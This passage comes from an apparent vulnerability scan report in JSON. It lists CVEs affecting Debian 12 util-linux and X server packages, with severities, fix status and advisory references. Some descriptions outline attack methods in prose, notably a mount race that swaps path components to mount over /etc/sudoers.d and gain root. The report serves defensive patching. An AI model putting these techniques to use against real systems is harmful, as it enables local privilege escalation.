"https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "util-linux@2.38.1-5+deb12u3", "PkgName": "util-linux", "PkgIdentifier": { "PURL": "pkg:deb/debian/util-linux@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "c50a1829816b9d94" }, "InstalledVersion": "2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:60c8ef1f443586ec994d2b608bc98fa7b5c0a24c126bb6e7ecb6d68283f919bf", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2026-53613", "PkgID": "util-linux-extra@2.38.1-5+deb12u3", "PkgName": "util-linux-extra", "PkgIdentifier": { "PURL": "pkg:deb/debian/util-linux-extra@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "53834ff6bfac9e5e" }, "InstalledVersion": "2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:de3c25d6c973ae4a7a5630c4553be7f0bc92d92c9caa8929994ff4ca5a1fca8c", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "util-linux-extra@2.38.1-5+deb12u3", "PkgName": "util-linux-extra", "PkgIdentifier": { "PURL": "pkg:deb/debian/util-linux-extra@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "53834ff6bfac9e5e" }, "InstalledVersion": "2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fd11e7526b7ef728c9af4532d0360ca76679e0f9212e5d3bdad9c8527fa28e4a", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "util-linux-extra@2.38.1-5+deb12u3", "PkgName": "util-linux-extra", "PkgIdentifier": { "PURL": "pkg:deb/debian/util-linux-extra@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "53834ff6bfac9e5e" }, "InstalledVersion": "2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ce5b91931df24e8a351428c2b4de9735f5b602bb7f19d9a73daa4c43fec9e603", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2026-34000", "PkgID": "xserver-common@2:21.1.7-3+deb12u11", "PkgName": "xserver-common", "PkgIdentifier": { "PURL": "pkg:deb/debian/xserver-common@21.1.7-3%2Bdeb12u11?arch=all\u0026distro=debian-12.13\u0026epoch=2", "UID": "982058c559c87ec1" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u12", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-34000", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:349b3f036a9ae23845ca900202de979784354d418e23505f3c0505f43944b414", "Title": "xwayland: xorg: X.Org X server: Information disclosure and denial of service via out-of-bounds read in XKB geometry processing.", "Description": "A flaw was found in the X.Org X server. This out-of-bounds read vulnerability in the XKB geometry processing, specifically within the `CheckSetGeom()` and `XkbAddGeomKeyAlias` functions, allows an attacker to read uninitialized or out-of-bounds memory. An attacker with a connection to the X11 server, either locally or remotely, can exploit this without user interaction. This could lead to the disclosure of memory contents or cause a denial of service by crashing the server.", "Severity": "CRITICAL", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 4, "oracle-oval": 3, "redhat": 2, "rocky": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L", "V3Score": 6.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:19342", "https://access.redhat.com/errata/RHSA-2026:20547", "https://access.redhat.com/errata/RHSA-2026:20555", "https://access.redhat.com/errata/RHSA-2026:20557", "https://access.redhat.com/errata/RHSA-2026:20558", "https://access.redhat.com/errata/RHSA-2026:20560", "https://access.redhat.com/errata/RHSA-2026:20561", "https://access.redhat.com/errata/RHSA-2026:20562", "https://access.redhat.com/errata/RHSA-2026:20563", "https://access.redhat.com/errata/RHSA-2026:20575", "https://access.redhat.com/errata/RHSA-2026:20576", "https://access.redhat.com/errata/RHSA-2026:20590", "https://access.redhat.com/errata/RHSA-2026:21699", "https://access.redhat.com/errata/RHSA-2026:21712", "https://access.redhat.com/errata/RHSA-2026:21715", "https://access.redhat.com/errata/RHSA-2026:21716", "https://access.redhat.com/errata/RHSA-2026:21718", "https://access.redhat.com/errata/RHSA-2026:21741", "https://access.redhat.com/errata/RHSA-2026:21742", "https://access.redhat.com/errata/RHSA-2026:22424", "https://access.redhat.com/errata/RHSA-2026:22456", "https://access.redhat.com/errata/RHSA-2026:23254", "https://access.redhat.com/errata/RHSA-2026:23255", "https://access.redhat.com/errata/RHSA-2026:23496", "https://access.redhat.com/errata/RHSA-2026:24341", "https://access.redhat.com/security/cve/CVE-2026-34000", "https://bugzilla.redhat.com/2451106", "https://bugzilla.redhat.com/2451107", "https://bugzilla.redhat.com/2451109", "https://bugzilla.redhat.com/2451113", "https://bugzilla.redhat.com/2452022", "https://bugzilla.redhat.com/show_bug.cgi?id=2451106", "https://bugzilla.redhat.com/show_bug.cgi?id=2451107", "https://bugzilla.redhat.com/show_bug.cgi?id=2451109", "https://bugzilla.redhat.com/show_bug.cgi?id=2451113", "https://bugzilla.redhat.com/show_bug.cgi?id=2452022", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33999", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34001", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34352", "https://errata.almalinux.org/9/ALSA-2026-19342.html", "https://errata.rockylinux.org/RLSA-2026:19342", "https://linux.oracle.com/cve/CVE-2026-34000.html", "https://linux.oracle.com/errata/ELSA-2026-22456.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-34000", "https://www.cve.org/CVERecord?id=CVE-2026-34000" ], "PublishedDate": "2026-05-05T16:16:11.647Z", "LastModifiedDate": "2026-11-05T21:18:46.6Z" }, { "VulnerabilityID": "CVE-2026-34002", "PkgID": "xserver-common@2:21.1.7-3+deb12u11", "PkgName": "xserver-common", "PkgIdentifier": { "PURL": "pkg:deb/debian/xserver-common@21.1.7-3%2Bdeb12u11?arch=all\u0026distro=debian-12.13\u0026epoch=2", "UID": "982058c559c87ec1" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u12", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-34002", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f7cb4ed8dd9b7f8d39e0c12158380b7944cf569b5b04cf31e5745bd5e06d3819", "Title": "xorg: xwayland: X.Org X server: Information disclosure or Denial of Service via out-of-bounds read in XKB modifier map handling", "Description": "A flaw was found in the X.Org X server. This vulnerability, an out-of-bounds read, affects the XKB (X Keyboard Extension) modifier map handling. An attacker with access to the X11 server can exploit this by sending a malformed request, which causes the server to read beyond its intended memory boundaries. This can lead to the exposure of sensitive information or cause the server to crash, resulting in a denial of service.", "Severity": "CRITICAL", "CweIDs": [ "CWE-805" ], "VendorSeverity": { "amazon": 3, "nvd": 4, "oracle-oval": 3, "redhat": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L", "V3Score": 6.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:20547", "https://access.redhat.com/errata/RHSA-2026:20555", "https://access.redhat.com/errata/RHSA-2026:20557", "https://access.redhat.com/errata/RHSA-2026:20558", "https://access.redhat.com/errata/RHSA-2026:20560", "https://access.redhat.com/errata/RHSA-2026:20561", "https://access.redhat.com/errata/RHSA-2026:20562", "https://access.redhat.com/errata/RHSA-2026:20563", "https://access.redhat.com/errata/RHSA-2026:20575", "https://access.redhat.com/errata/RHSA-2026:20576", "https://access.redhat.com/errata/RHSA-2026:20590", "https://access.redhat.com/errata/RHSA-2026:21699", "https://access.redhat.com/errata/RHSA-2026:21712", "https://access.redhat.com/errata/RHSA-2026:21715", "https://access.redhat.com/errata/RHSA-2026:21716", "https://access.redhat.com/errata/RHSA-2026:21718", "https://access.redhat.com/errata/RHSA-2026:21741", "https://access.redhat.com/errata/RHSA-2026:21742", "https://access.redhat.com/errata/RHSA-2026:22424", "https://access.redhat.com/errata/RHSA-2026:22456", "https://access.redhat.com/errata/RHSA-2026:23254", "https://access.redhat.com/errata/RHSA-2026:23255", "https://access.redhat.com/errata/RHSA-2026:23496", "https://access.redhat.com/errata/RHSA-2026:24341", "https://access.redhat.com/security/cve/CVE-2026-34002", "https://bugzilla.redhat.com/show_bug.cgi?id=2451112", "https://linux.oracle.com/cve/CVE-2026-34002.html", "https://linux.oracle.com/errata/ELSA-2026-22456.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-34002", "https://www.cve.org/CVERecord?id=CVE-2026-34002" ], "PublishedDate": "2026-05-05T16:16:11.787Z", "LastModifiedDate": "2026-11-05T21:18:46.967Z" }, { "VulnerabilityID": "CVE-2023-5574", "PkgID": "xserver-common@2:21.1.7-3+deb12u11", "PkgName": "xserver-common", "PkgIdentifier": { "PURL": "pkg:deb/debian/xserver-common@21.1.7-3%2Bdeb12u11?arch=all\u0026distro=debian-12.13\u0026epoch=2", "UID": "982058c559c87ec1" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2023-5574", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cd49bd58a1ac70aaf748210a5c042d59823b6b94e1cfb756a5a23af7cc45e950", "Title": "xorg-x11-server: Use-after-free bug in DamageDestroy", "Description": "A use-after-free flaw was found in xorg-x11-server-Xvfb. This issue occurs in Xvfb with a very specific and legacy configuration (a multi-screen setup with multiple protocol screens, also known as Zaphod mode). If the pointer is warped from a screen 1 to a screen 0, a use-after-free issue may be triggered during shutdown or reset of the Xvfb server, allowing for possible escalation of privileges or denial of service.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "cbl-mariner": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2024:2298", "https://access.redhat.com/security/cve/CVE-2023-5574", "https://bugzilla.redhat.com/2244735", "https://bugzilla.redhat.com/2244736", "https://bugzilla.redhat.com/show_bug.cgi?id=2244735", "https://errata.almalinux.org/9/ALSA-2024-2298.html", "https://linux.oracle.com/cve/CVE-2023-5574.html", "https://linux.oracle.com/errata/ELSA-2024-2298.html", 